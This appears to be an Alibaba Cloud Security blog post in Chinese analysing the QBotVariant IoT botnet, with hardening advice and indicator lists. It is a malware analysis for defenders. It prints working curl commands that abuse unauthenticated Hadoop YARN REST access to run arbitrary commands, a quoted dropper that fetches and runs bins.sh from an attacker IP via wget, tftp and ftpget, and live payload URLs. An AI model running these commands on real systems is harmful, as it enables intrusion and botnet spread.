因为看见,所以发现:QBotVariant谢绝落幕
互联网给人带来便捷的同时,其公开大量的资源也同样给恶意利用者带了便捷,越来越多公开的恶意程序源码降低了对外攻击、入侵的难度,使得安全问题愈加严重。
阿里云安全团队从今年5月份监测到一BOT家族,其样本改写自互联网公开渠道源码,在互联网上广泛传播,造成了极大的危害,云安全团队对该类样本做了分析、聚类、溯源,在此我们将该类样本命名为QBotVariant。
QBotVariant具有DDoS攻击、后门、下载器、暴力破解等功能,一旦被入侵便变成肉鸡,其主要传播方式通过Hadoop Yarn资源管理系统REST API未授权访问漏洞和基于弱口令的暴力破解。类似Mirai该BOT家族针对多个版本的操作系统,不仅服务器受到危害,如CCTV监控、家庭路由等IOT设备更容易被攻击、入侵。Radware公司Pascal Geenens在最新的博客《New DemonBot Discovered》中提及到该类样本,但是他发现的IP、样本等信息只是该类家族的其中一个样本,而我们从监测到30多个下载服务器可以看出,QBotVariant多变的IP和二进制样本变种,使其难以发现和跟踪。
在云平台上,我们监测到的QBotVariant活跃度如下,峰值的时候可以达到上千个,活跃度一直未减。
以下我们将从传播方式、脚本分析、样本分析、溯源等多个角度对QBotVariant进行详细的分析。
入侵、传播方式
Hadoop是一款由Apache基金会推出的分布式系统框架,它通过著名的MapReduce算法进行分布式处理,Yarn是Hadoop集群的资源管理系统。Hadoop Yarn资源管理系统配置不当导致可以未经授权进行访问,从而被攻击者恶意利用。攻击者无需认证即可通过REST API部署任务来执行任意代码,最终完全控制服务器。
其问题来源于对外开启了以下作用的端口
yarn.resourcemanager.webapp.address,默认端口8088
yarn.resourcemanager.webapp.https.address,默认端口8090
通过对新申请application,如下指令
curl -v -X POST 'http://ip:port/ws/v1/cluster/apps/new-application'
再执行如下指令即可完成入侵
curl -s -i -X POST -H 'Accept:application/json' -H 'Content-Type:application/json'http://ip:port/ws/v1/cluster/apps -data-binary @example.json
其example.json文件如下
{
"am-container-spec":{
"commands":{
"command":"执行的命令书写在这里"
}
},
"application-id":"application_xxxx_xxxxx",
"application-name":"test",
"application-type":"YARN"
}
脚本分析
我们通过溯源找到了QBotVariant比较原始版本的脚本,在原始版本的脚本中支持wget、tftp、ftpget等脚本的执行,从远程下载服务器下载脚本并执行
bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://185.244.25.153/bins.sh; chmod 777 bins.sh; sh bins.sh;
tftp 185.244.25.153 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;
tftp -r tftp2.sh -g 185.244.25.153; chmod 777 tftp2.sh; sh tftp2.sh;
ftpget -v -u anonymous -p anonymous -P 21 185.244.25.153 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh
以下是阿里云安全截获的一个经过改写的下载脚本,从脚本可以看出作者为了能够很好的对IOT设备支持,一方面编译了不同版本的程序,通过ntpd、sshd、openssh等进行伪装;另一方面每个命令行都加入了对busybox的支持,这些使得该类脚本很好的支持了IOT设备,为QBotVaraint的传播提供了更加便捷的途径。
在阿里云捕获的源码中有用于编译多个版本的脚本
QBotVariant支持版本类型及其对应二进制名称:
支持版本类型 |
对应二进制名称 |
支持版本类型 |
对应二进制名称 |
mips |
ntpd |
i586 |
ftp |
mipsel |
sshd |
m68k |
pftp |
sh4 |
openssh |
sparc |
sh |
x86_64 |
bash |
armv4l |
|
armv6l |
tftp |
armv5l |
apache2 |
i686 |
wget |
powerpc-440fp |
telnetd |
powerpc |
cron |
样本分析
而绝大部分样本都实现了基本功能,其传播性、危害性等性质并未改变,部分函数如图所示
指令分析
我们对远控指令进行了分析,其功能如下图所示
值得注意是StartTheLelz函数,该函数主要用于对随机生成的IP地址进行爆破,如图通过getRandomPublicIP函数得到随机的IP,将硬编码的用户名和密码存储在结构体中,然后进行连接,其最大爆破次数通过max变量进行控制,max和文件描述表的项数有关但最大不超过4096。
通过数据区可以看见作者集成了几种常见的用户名和密码用于爆破
如果最终爆破成功,则会在被爆破的主机中执行如下脚本,从而感染主机,再继续向外传播
除了集成常见的对外DDoS攻击方法,QBotVariant还可以进行对外发送垃圾数据,通过sendJUNK或sendUDP即可完成该动作,如图用于生成随机字符串的makeRandomStr函数,通过发送大量垃圾包同样可以造成网络带宽阻塞。
而QBotVariant为了最大化入侵价值,同样提供了远程shell命令执行功能,其命令以"SH"开头,通过fdgets、sockprintf将命令执行后的结果返回到远控端,实现如下
样本溯源/同源性分析
第一种,信息较简单,返回大小端、CPU架构、主机用途等信息。
第二种,信息比较全面,带有操作系统、CPU架构、主机用途、端口、主机IP等信息。
第三种,信息最为简单,只返回架构信息。
第四种,返回大小端、架构信息。
第五种,信息比较全面,架构信息、大小端、主机IP、主机用途等信息。
第六种,返回主机IP、类型、版本信息等。
第七种,返回架构、主机IP等信息。
我们在对样本进行溯源发现,在pastebin上存在大量该类样本的源码、二进制文件等,其存在时间都在数月之久,作者目录下还包括其他类型IOT蠕虫,同时发现多个作者进行了QBot的改写,如图是其中一位作者的pastebin和github
QBot在国内似乎大家认知不多,但是由于源码简单、客户端小、支持多种架构,从09年活跃至今一直未间断过,常被应用于远控、DDoS等客户端,在其截获的IP中,绝大部分位于北美和欧洲各地,但是云平台检测到来自国内IP的攻击源,国内安全人员应该引起重视。
安全加固 ● 云防火墙
开启云防火墙IPS拦截模式和虚拟补丁功能,云防火墙已经支持对该类漏洞的防御和防止暴力破解功能,用户即使不及时修复也依然能够进行防御拦截。
● 网络访问控制
使用"ECS/VPC安全组"对"受影响服务端口"访问源IP进行控制,如果本身Hadoop环境仅对内网提供服务,请不要将Hadoop服务端口发布到互联网。
● 更新升级
安全建议
● 云防火墙产品已支持防御针对此漏洞的攻击,建议用户可以购买云防火墙,开启检测。
● 通过安全管家服务,在阿里云安全专家的指导下进行安全加固及优化工作,避免系统受到漏洞影响。
总结
QBotVariant通过Hadoop Yarn资源管理系统REST API未授权访问漏洞、弱密码口令爆破等方式进行入侵,一旦感染此类蠕虫,不仅会占用主机计算资源消耗带宽流量,成为攻击其他主机的肉鸡,还可能造成数据泄露,数据丢失等后果。
阿里云安全提醒广大互联网用户,注意第三方应用的配置,防止出现此类未授权漏洞,同时加强用户名和密码的安全意识,切实保护自身资产安全。
IOC
部分MD5-文件名
文件名 |
MD5 |
185.244.25.153 |
|
YSDKOP.arm4 |
cc9de0d789efc8636946b4b41f374dfc |
YSDKOP.arm5 |
ac94604edfe7730ccf70d5cd75610d01 |
YSDKOP.arm6 |
dcb51c5abd234a41ee0439183f53fd2d |
YSDKOP.arm7 |
2416380b2fe0c693fd7c26a91b4cb8ee |
YSDKOP.i586 |
2f029723c778f15e8e825976c66e45cd |
YSDKOP.i686 |
49ec48d3afdddb098fa2c857fc63c848 |
YSDKOP.m68k |
7efef839902ca20431d58685d9075710 |
YSDKOP.mips |
eab0810535b45fa1bf0f6243dafb0373 |
YSDKOP.mpsl |
a2c4e09821be6a4594e88376b9c30b5d |
YSDKOP.ppc |
1fc61114722f301065cd9673025ce5e0 |
YSDKOP.sh4 |
38abc827e67ff53d0814979b435e2c40 |
YSDKOP.sparc |
20a38aeeffba9f0f1635c7b4b78f3727 |
YSDKOP.x86 |
8fd97d622e69b69a3331ee5ed08e71b2 |
188.166.125.19 |
|
7e9c49b9e743bcf7b382fa000c27b49d |
|
apache2 |
64394fb25494b0cadf6062a0516f7c1a |
bash |
75e7ce8c110bb132d3897b293d42116a |
cron |
e8dfae1fe29183548503dc0270878e52 |
ftp |
0e765d00f0ee174e79c81c9db812e3a2 |
ntpd |
2cb932dcb5db84dafa8cdc6b4afa52d0 |
openssh |
606a3169f099b0f2423c63b4ed3f9414 |
pftp |
6666ef216ce7434927338137760f4ab0 |
sh |
cc2e82ffbc6d5053efade4849c13099f |
sshd |
00b0a6516986aca277d0148c7ddf38c4 |
tftp |
38b075ee960d08e96b2e77205ec017de |
wget |
58c5e1bc66ac6b364639bce4b3f76c58 |
部分IP
178.128.194.222 |
178.128.7.76 |
103.214.111.122 |
130.185.250.199 |
194.182.80.200 |
138.197.74.100 |
198.199.84.119 |
104.248.165.108 |
178.128.46.254 |
159.65.227.17 |
206.189.196.216 |
80.211.109.66 |
194.48.152.114 |
159.89.114.171 |
178.128.43.104 |
185.244.25.153 |
209.97.159.10 |
46.36.37.121 |
46.29.164.242 |
46.17.47.250 |
158.69.60.239 |
195.181.223.138 |
80.211.39.186 |
188.166.125.19 |
104.248.112.122 |
212.237.26.71 |
178.128.239.252 |
104.248.212.127 |
104.248.63.168 |
部分URL及出现时间
URL |
时间 |
http://138.197.74.100/bins.sh |
20180904 |
http://80.211.39.186/bins.sh |
20180904 |
http://178.128.239.252/bins.sh |
20180908 |
http://158.69.60.239/bins/boti586final |
20180908 |
http://158.69.60.239/bins/botx86_64final |
20180908 |
http://158.69.60.239/bins/boti686final |
20180908 |
http://158.69.60.239/bins.sh |
20180908 |
http://178.128.239.252/bins.sh |
20180909 |
http://130.185.250.199/bins.sh |
20180909 |
http://46.17.47.250/xm2bash |
20180913 |
http://104.248.112.122/Kuso69/Akiru.x86 |
20180918 |
http://194.182.80.200/bins.sh |
20180919 |
http://104.248.112.122/Kuso69/Akiru.x86 |
20180919 |
http://209.97.159.10/bins.sh |
20181003 |
http://46.17.47.250/xm2wget |
20181005 |
http://185.244.25.153/bins.sh |
20181009 |
http://159.65.227.17/bins.sh |
20181009 |
http://178.128.7.76/bins.sh |
20181010 |
http://185.244.25.153/bins.sh |
20181010 |
http://104.248.212.127/bins.sh |
20181010 |
http://159.65.227.17/bins.sh |
20181010 |
http://206.189.196.216/bins.sh |
20181010 |
http://188.166.125.19/bins.sh |
20181010 |
http://188.166.125.19/bins.sh |
20181011 |
http://185.244.25.153/bins.sh |
20181011 |
http://178.128.7.76/bins.sh |
20181011 |
http://104.248.212.127/bins.sh |
20181011 |
http://80.211.109.66/bins.sh |
20181012 |
http://185.244.25.153/bins.sh |
20181012 |
http://195.181.223.138/bins.sh |
20181012 |
http://159.89.114.171/bins.sh |
20181012 |
http://178.128.7.76/bins.sh |
20181012 |
http://104.248.212.127/bins.sh |
20181012 |
http://185.244.25.153/bins.sh |
20181015 |
http://104.248.165.108/bins.sh |
20181018 |
http://198.199.84.119/bins.sh |
20181018 |
http://103.214.111.122/bins.sh |
20181019 |
http://178.128.46.254/bins.sh |
20181019 |
http://178.128.43.104/bins.sh |
20181019 |
http://104.248.63.168/vvglma |
20181021 |
http://178.128.194.222/bins.sh |
20181026 |
http://178.128.194.222/bins.sh |
20181027 |
http://178.128.194.222/bins.sh |
20181028 |
http://46.29.164.242/bins.sh |
20181031 |
http://194.48.152.114/bins.sh |
20181101 |
http://46.36.37.121/weed.sh |
20181103 |
参考链接
● https://help.aliyun.com/knowledge_detail/71609.html
● https://blog.radware.com/security/2018/10/new-demonbot-discovered/
阅读原文
更多技术干货 请关注阿里云云栖社区微信号 :yunqiinsight
因为看见,所以发现:QBotVariant谢绝落幕的更多相关文章
- JavaScript--我发现,原来你是这样的JS(再说引用类型,基本包装类型与个体内置对象)
一.介绍 本篇是续上一篇的,引用类型的后篇,本篇主要是说基本包装类型和个体内置对象.如果你能收获一些知识,那我很高兴,很满足,哈哈哈,希望大家能愉快看完.如果你想学好一门技术,要不忘初心,方得始终. ...
- JS--我发现,原来你是这样的JS(引用类型不简单[下篇],基本包装类型与个体内置对象)
一.介绍 本篇是续上一篇的,引用类型的下篇,本篇主要是说基本包装类型和个体内置对象.如果你能收获一些知识,那我很高兴,很满足,哈哈哈,希望大家能愉快看完.如果你想学好一门技术,要不忘初心,方得始终. ...
- Docker与k8s的恩怨情仇(七)—— “服务发现”大法让你的内外交互原地起飞
转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者. 第一章:Docker与k8s的恩怨情仇(一)-成为PaaS前浪的Cloud Foundry 第二章:Dock ...
- 【曹工杂谈】Maven底层容器Plexus Container的前世今生,一代芳华终落幕
Maven底层容器Plexus Container的前世今生,一代芳华终落幕 前言 说实话,我非常地纠结,大家平时只是用Maven,对于内部的实现其实也不关心,我现在非要拉着大家给大家讲.这就有个问题 ...
- 探真无阻塞加载javascript脚本技术,我们会发现很多意想不到的秘密
下面的图片是我使用firefox和chrome浏览百度首页时候记录的http请求 下面是firefox: 下面是chrome: 在浏览百度首页前我都将浏览器的缓存全部清理掉,让这个场景最接近第一次访问 ...
- PC分配盘符的时候发现==》RPC盘符不可用
服务器汇总:http://www.cnblogs.com/dunitian/p/4822808.html#iis 服务器异常: http://www.cnblogs.com/dunitian/p/45 ...
- Consul 服务注册与服务发现
上一篇:Mac OS.Ubuntu 安装及使用 Consul 1. 服务注册 对 Consul 进行服务注册之前,需要先部署一个服务站点,我们可以使用 ASP.NET Core 创建 Web 应用程序 ...
- 学习笔记:发现一个IE版本判断的好方法
web开发就不得不面对浏览器兼容性问题,特别是IE的兼容问题.在前端代码中经常要处理一些兼容格式,为了解决这个问题网上找了找识别浏览器版本的方法. 常规js方法 找到一个方法,还不错,可以识别出各 ...
- 分布式服务注册和发现consul 简要介绍
Consul是HashiCorp公司推出的开源工具,用于实现分布式系统的服务发现与配置.与其他分布式服务注册与发现的方案,Consul的方案更"一站式",内置了服务注册与发现框 架 ...
随机推荐
- boost multi array
Boost MultiArray is a library that simplifies using arrays with multiple dimensions. 1. #include < ...
- mui is not defined
vue项目中引用mui.js,我是在main.js中这样引入的, 结果报错 查找资料,最后在mui.js的最后添加了这样一句 这是因为mui并不能像jquery那样作为全局对象存在,加上wi ...
- 最强CP!阿里云联手支付宝小程序如何助力双11?
作为首次“全面上云”的双11,阿里云征服了每秒订单峰值54.4万笔的世界新记录.正是在阿里云的保驾护航下,即使访问量是平时的5到6倍,小程序也鲜少出现卡顿或者宕机的现象,“依靠阿里云,我们整个天猫双1 ...
- 「树的直径」BFS方法证明
选定任意一个点u,从u开始BFS求出距离u最大的点s,再从s点出发BFS到距离s最大的点t,则dis(s,t)即为树的直径 证明 其实只要找到了树的直径的一个端点,再BFS找到最远点就一定是直径的另一 ...
- 安装uWebSocketIO
https://github.com/uNetworking/uWebSockets sudo apt-get install libuv1-dev git clone https://github. ...
- python global和nonlocal的使用
◆global和nonlocal是Python的两个重要变量作用域关键字 1.global用在全局变量,应用场景: 变量定义在函数外部的时候,如果函数里面想改变这个全局变量的值,需要在当前的引用函数里 ...
- wndr4300刷任意系统及刷回官方原厂系统
4300是目前性价比比较高的可玩路由器了,如果要买的话要买v1版本的,目前卖的都是v2,v2刷不了第三方系统. 注意:如果带宽低于50M,可以随便刷第三方系统玩,如果高于50M的带宽或者想组建千兆局域 ...
- cython安装、使用
cython安装.使用 原创 2012年09月27日 17:25:11 8436 0 0 一.cython 在linux(ubuntu)下安装 sudo apt-get install cython ...
- wsl中加载git之后,发现文件是修改状态
查看git status,发现所有文件都被修改. git diff文件查看,发现是行尾的问题导致的. https://github.com/Microsoft/WSL/issues/184 在wsl里 ...
- 解决 ERROR 1044 (42000): Access denied for user ''@'localhost' to database 'mysql'
原文链接:https://blog.csdn.net/sea_snow/article/details/82498791 感谢原作者大大 提示:ERROR 1044 (42000): Access ...